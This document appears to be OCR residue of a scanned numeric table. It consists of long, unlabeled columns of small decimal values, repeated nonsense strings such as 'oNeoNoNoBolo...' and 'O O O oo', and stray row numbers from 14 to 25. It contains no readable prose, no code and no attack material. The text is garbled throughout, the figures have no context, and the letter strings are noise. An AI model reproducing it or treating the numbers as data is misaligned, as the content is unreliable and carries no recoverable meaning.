.482522
.063594
.992929
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololololNelo]

oloNeoNoNoNoNoNolololoNolBoNoBoNololNololNolNolNololNolololNolNo]

.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003631
.952254
.065518
.003847
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololololNele]

[oloNeoNoNoNoNoNolohoBoNolBoNoBoNololNololNolNolololNololNololNo]

.000001
.000001
.000001
.000003
.000045
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.039358
.549335
.390961
.000208
.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000040
.000994
.000028
.000003
.000003
.000001

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololNololNelNo]

[eNoNoNoNoNoNoNoloBoloNoloNoloNololNolNolNolNolNeolNolNolNe

.000001
.000001
.000002
.000004
.002251
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000011
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.000820
.000107
.000005
.000001
.000003
.000002

oNeoNoNoNoNoNoNoNoBoloBolNoNoNoNolNoNololNololololNelo]

[eoNoNoNoNoNoNolNooloNoloNololNololNolNoNolNolNeolNolNolNeo]

.000001
.000002
.000002
.000006
.004958
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.002039
.000040
.000004
.000002
.000002
.000001
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cNeoNeoNoNoNoNoNoNololNolololNolNo

eoNeoNoNoloRolNoNoNoNoNoloNolololNoNoNoNoNoloBololNolNoNoNoNoNolololNolNolNolNolNolNolNo]

.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

14

.450824
.485582
.064123
.994533
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

oNeoNoNoloRoNoNoNoNoNololNolololNoNoNoNoNoloBololNolNoNoNoNoNololNolNolNolNolNolNolNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003606
.930876
.036576
.000870
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

eoNeoNoNoloRoNoNoNoNoNololNolololNoNoNoNoNoloBololNolNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.034995
.574044
.421369
.003022
.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000036
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

eNeoNoNoloRololNoNoNoNoNoNoBololoNoNoNoNolNoBolBolNolNoNoNoNoNolNololNolNolNolNo)

.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000011
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.000434
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

cNeoNeoNoNoNoNoNoNololNolololNolNo

ecNeoNoNoloRololNoNoNoNolNoNoBololoNoNoNoNoNoBolBolNolNoNoNoNoNolNololNolNoNolNo)

.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000984
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
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eNoNoNoBoNoNoNololoBoNoloNoBoNololNoNolNoNoloNololNoloNoloNooNeololNolNolNoNolNolNolNoleololNolNe) O O O oo

O O O o

.000002
.000002
.000003
.000005
.000016

15

.445854
.490023
.064688
.995327
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

16

.449789
.485523
.065528
.996850

eNoNoNoBoNoNolNolololoNololNoBolNololNoNolNoNolNoNolNolNoloNoloNoBoNeololNololNoNolNololNolololNolNo) O O O oo

O O O o

.000001
.000003
.000003
.000004
.000020

.003546
.959878
.147673
.002040
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003539
.848788
.043903
.000070

eNoNoNoBoNoNolNolololoNolBoNoBoNololNoNolNoNolNoNolNolNoloNololNoBoNoloNolNoloNolNolNolNoleololNolNo) O O O oo

O O O o

.000002
.000003
.000003
.000006
.000040

.040739
.537892
.350001
.000039
.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000034
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.024014
.625985
.412493
.002363

O O O oo

[cNoNoNoNoNoNoNolololoNolBolNoloNoloNoNoNoNoloNoNoloRoNolBoNoBoNoholNololNololNelolNolNe]

.000003
.000002
.000003
.000009
.000609

.000011
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.000419
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000012

O O O oo

[cloNoNoNoNoNoNolololoNolBolNoBoNololNoNoNoNoloNolNolooNolBoNoBoNeoholNololNololNololNolNeo]

.000003
.000004
.000003
.000012
.001492

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.002020
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000007

270



oo oNoNoNoNoNoNoNolololoNolNoNoNoNololololNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

[eNeoNoNoNoRolNoloNolNoNolNolNolNo]

.000005
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

17

.441081
.493391
.065024
.996867
.000005
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000

oo oNoNoNoNoNoNoNololNololNolNoNoNoNololololNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

[eNeoNoNolNoRolNoloNolNoNolNolNolNe]

.000006
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003670
.952427
.053948
.000093
.000008
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

oo oNoNoNoNoNoNoNolololoNolNoNoNoNololololNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

[eNeoNoNoNoRolNoloNolNoNolNolNolNe]

.000006
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000027
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.039254
.548253
.402246
.001126
.000007
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000

oo oNoNoNoNoNoNoNolololoNolNoNoNoNolololoNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

loNoNoNololRoloNolNolNolNo]

.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.000169
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000021
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000

oo oNoNoNoNoNoNoNololNoloNolNoNoNoNolololoNoNoNoNoNoNoloRololoNoNoNoNolNolololNe)

loNoNoNololRoloNolNolNolNo]

.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000397
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000009
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
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eoNeoNoNoNoNoNoBoNoholNoBoNololNoNolNoNoloNolNoNololNololNololNelo)

[cloNoNoNoNoNoNolololoNololNolNololololololNolelNeNe]

.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

18

.446059
.488917
.065091
.993326
.000005
.000002
.000864
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458

oNeoNoNoNoNoNoBoNoBoNoBoNololNolNolNoNoloNoloNololNololNololNolo)

[coNeoNoBoNoNoNololololNoloNolNololololololNoloeleNe]

.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003648
.942404
.086411
.000240
.000778
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000013
.001984

cNeoNoNoNoNoNoRoNoBoNoBoNololNoNoNoNoloNolNoNololNololNololNelNo)

[cloNeoNoNoNoNoNolololoNololNolNololololololNolelNeNe]

.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000028
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.037292
.560461
.377360
.000051
.001319
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000027
.000994

cNeoNoNoNoNoNoBoNoBolNoBoNololNolNolNoNolNoNolNoNololNololNololNelo)

[eNoNoNoNoNoNoNolNoholoNololNololNololNololNelo]

.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.001277
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000341
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.000294
.000107

cNeoNoNoNoNoNoBoNoBolNoBoNololNolNoNoNolNoNolNoNololNololNololNelNo)

[eNoNeoNoNoNoNoNolNoholNoNololNololNololNololNelo]

.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000469
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.002322
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000339
.000040
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cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

leNeoNoNoNoRooNoNoNoNoNoNolololoNoNoNoNoNolololNololoNoNoNolNololNolNolNe)

.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

19

.446319
.488591
.065317
.992696
.000005
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

leNeoNoNolNoRoBoNoNoNoNoNoNolololoNoNoNoNoNolololNololNoNoNoNolNololNolNolNe)

.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003648
.909942
.046657
.000431
.000931
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNolololNololNolNolNolNo]

leNeoNoNoNoRoNoNoNoNoNoNoNoloholoNoNoNoNoNolololNololoNoNoNolNololNolNolNe)

.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.031327
.591312
.410978
.005100
.000009
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000025
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001

cleolololNoNoNoNoNoNoNolNoloNololNolNolNolNo]

eNeoNoNeoloRoloNoNoNoNoNoNoloRolNoNoNoNoNololololNolNoNoNolNolNololNe]

.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000266
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.000194
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001

cleolololNoNoNoNoNoNoNolNoloNololNolNolNolNo]

eNeoNoNoloRoNoNoNoNoNoNoNoloBolNoNoNoNoNololololNolNoNoNolNolNolNolNe]

.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000007
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000239
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
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O O OO OO oOo oo

eNoNoNoBoNoBoNololololNololNoBoNoNoNoNoNoNolBoNoloNoloNolololoNeolNoNoNolNoNolNolololololNelNo)

.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

20

.442130
.492553
.065467
.985772
.000005
.000003
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

21

O O OO OO Oo oo

eNoNoNoNoNoBolNololololNololNoBoNoNoNoNoNoNolBoNoloNoloNolololoNeolNoNoNoNoNolNolololololNelNo)

.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003605
.949738
.186770
.005599
.000006
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

O O OO OO Oo oo

eNoNeoNoNoNoBolNolololoNololNoBoNoNolNoNoNoNoBoNoloNoloNolololoNeolNoNoNoNoNoNolololololNelNo)

.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.038460
.550561
.344342
.007351
.000289
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000025
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

O O OO OO Oo oo

[cNoNoNoNoNolBoNolololoNolololoNoNoNoNoNoNoloNololNoloNololNoloNoloNolNolNololNolololNeo]

.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000185
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.000306
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

O O OO OO Oo oo

[cNoNeoNoNoNoloNoloBoloNololNoloNoNoNoNoNoNoloNololNoloNololNoloNeololNeolNolNolololololNe]

.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000007
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.000358
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492
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cNeoNoBoNoNoNoNoNololololoNoNoNoNoNolololoNoNoNoNoloNolololoNoNoNoNoNolololNololNolNolNolNo]

loNoNoNeolNolRolNolNoNolNo

.448350
.486182
.065823
.999212
.000006
.000004
.000001
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

22

.440371
.493806
.064707
.977760
.000007
.000529
.000001
.000001
.000001
.000000

cNeoBoBoNoNoNoNoNololololoNoNoNoNoNolololoNoNoNoNoloNolololoNoNoNoNoNololololNolNolNolNolNo]

oNeoNoNeolNolRolNolNoNolNo)

.003662
.809568
.020235
.000138
.000007
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003892
.975873
.023809
.008178
.000008
.000001
.000001
.000001
.000001
.000000

cNeoBoBoNoNoNoNoNolololoBoNoNoNoNoNolololoNoNoNoNoloNolololoNoNoNoNoNolololNololNolNolNolNo]

oNeoNoNeolNolRolNolNoNolNo)

.021033
.634625
.447338
.000092
.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000021
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.043723
.508939
.441315
.007333
.000005
.000001
.000001
.000001
.000000
.000000

oNeoleoBoNoNoNoNoNololololoNoNoNoNoNoNoBoloNoNoNoNoNoNolololoNoNoNoNoNoNololNolNolNol

OO OO O oo

.000014
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.000140
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000015
.000002
.000001
.000001
.000001
.000000
.000000

oNeoloBoNoNoNoNoNololololoNoNoNoNoNoNoBoloNoNoNoNoNoNolololoNoNoNoNoNoNololNolNolNol

[oNeoNoNoNolNoNe

.000008
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000007
.000258
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000008
.000002
.000001
.000001
.000000
.000000
.000000
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oNeoNeoNoNoNoNeoBolNoholNolNoNeoNolNoNolBoNooNoloNololNololNololNolololNololNo)

eNoNoNoNoNoNoNolololoNololNololeololNolNolNo]

.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

23

.448342
.486951
.063929
.991047
.000009
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001

oNeoNeoNoNoNoNoBolNoholNolNoNoNolNoNoNoNoloNoloNololNololNololNolololNololNo)

eoNoNoNoNoNoNolNolololNololNololololNolNolNo]

.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003734
.972457
.028228
.004264
.000010
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001

oNeoNeoNoNoNoNoBolNoholNoNoNeoNolNoNoNoNololNoloNololNololNololNolololNololNo)

eoNoNoNoNoNoNolNolololNololNololeololNolNolNo]

.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000023
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.042693
.515992
.434534
.000140
.000005
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001

oNeoNeoNoNoNoNoBolNoholNoNoNoNolNoNoNoNololNoloNololNololNololNolololNololNo)

eNoNoNoNoNoNoNoNolololololNolNolNelNo]

.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000001
.000001
.000002
.000005
.001368
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000797
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000001
.000001

oNeoNeoNoNoNoNeoBoNoholNoNoNeoNolNoNoNoNoolNoloNololNololNololNolololNololNo)

eNoNoNoNoNoNoNoNolololololNololNelNo]

.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.004669
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000010
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
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cNeoNoBolNoNoNoNoNoNoNolNoRolBoloNoNoNoNolNololNolNe

[eNeoNoNoloRolNolNoNoNoNoNoNolololNolNoNoNoNolNolololNolNolNolNolNolNolNo]

.000002
.000003
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

24

.449865
.486205
.064069
.997657
.000017
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000

cNeoNoBolNoNoNoNoNoNoNolNoRolBoloNoNoNoNolNololNolNe

[eNeoNoNoloRoNoNoNoNoNoNoNoBololNoNoNoNoNolNolololNolNolNolNolNolNolNo]

.000002
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003529
.968243
.177906
.000700
.000017
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001

cNeoNoBolNoNoNoNoNoNoNolNoRolBoloNoNoNoNoNololNolNe

[eNeoNoNoloRoNoNoNoNoNoNoNoBololNolNoNoNoNolNolololNolNolNolNolNolNolNo]

.000002
.000003
.000023
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.041597
.523869
.344952
.000109
.000005
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000003
.000022
.000994
.000028
.000003
.000003
.000001
.000000
.000000

cNeoNoBolNoNoNoNoNoNoNoloRolBoloNoNoNoNoNololNolNe

[eNeoNoNoloRoloNoNoNoNolohNolololNoNoNolNolNololNololNololNolNo)

.000002
.000005
.000909
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000112
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000001
.000001
.000002
.000005
.000478
.000107
.000005
.000001
.000003
.000002
.000001
.000001

cNeoNoBolNoNoNoNoNoNoNoloRolBoloNoNoNoNolNololNolNe

eNeoNoNoloRoloNoNoNoNolNolNolololNoNoNoNolNololNolNolNololNolNo)

.000002
.000007
.002686
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000015
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.000767
.000040
.000004
.000002
.000002
.000001
.000001
.000001
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O OO OO0 OO OOoOOooo

oloNoNoNoNoNeoNololololNoloNololNoloNolNoNoNoNoNoNolNolololBoNoNoNohololNolololNelNolNolNe]

.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

25

.451983
.483948
.066588
.989632
.000702
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002

O OO OO0 OO OO Oooo

oloNoNoNoNoNeoNololololNolBoNololNololNoNoNoNoNoNoNolNololNoloNoNolNolololNolololNelNolNolNeo]

.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003424
.818670
.159060
.004803
.000086
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
